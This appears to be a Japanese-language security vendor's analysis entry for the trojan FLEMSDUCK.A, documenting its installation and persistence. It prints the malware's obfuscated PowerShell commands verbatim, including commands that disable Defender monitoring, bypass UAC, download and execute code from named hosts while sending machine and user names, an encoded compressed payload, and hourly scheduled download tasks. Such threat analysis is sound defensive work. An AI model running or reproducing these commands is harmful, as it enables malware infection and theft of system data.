Trojan.JS.FLEMSDUCK.A

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• "%System%\cmd.exe" /c start /b notepad {malware full path} & powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -DisableRealtimeMonitoring 1 & powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major) &::';sleep 1;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I;Remove-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Force}else{IEx(ne`w-obj`ect Net.WebC`lient).DownloadString('http://t.tr2q.com/7p.php');bpu -method migwiz -Payload 'powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major)'}"
• powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -DisableRealtimeMonitoring 1 & powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major) &::';sleep 1;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I;Remove-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Force}else{IEx(ne`w-obj`ect Net.WebC`lient).DownloadString('http://t.tr2q.com/7p.php');bpu -method migwiz -Payload 'powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major)'}";
• %System%\cmd.exe" /c echo Set-MpPreference -DisableRealtimeMonitoring 1
• powershell.exe -w hidden IEx "$v='mail';I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::"FromBase64String"('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')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
• "%System%\schtasks.exe" /delete /tn Rtsa2 /F
• "%System%\schtasks.exe" /delete /tn Rtsa1 /F
• "%System%\schtasks.exe" /delete /tn Rtsa /F

その他

以下のスケジュールされたタスクを追加します：

• Name: blackball
  • Triggers: One Time, repeat every 2 hours indefinitely
  • Action: Start a program - blackball
• Name: UOZzaSy3iqH
  • Triggers: One Time, repeat every 1 hour indefinitely
  • Action: Start a program: powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.awc'+'na.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
• Name: 8AvszOqk1R
  • Triggers: One Time, repeat every 1 hour indefinitely
  • Action: Start a program: powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.tr2'+'q.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
• Name: euWETvw7X0C
  • Action: Start a program: powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.amy'+'nx.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))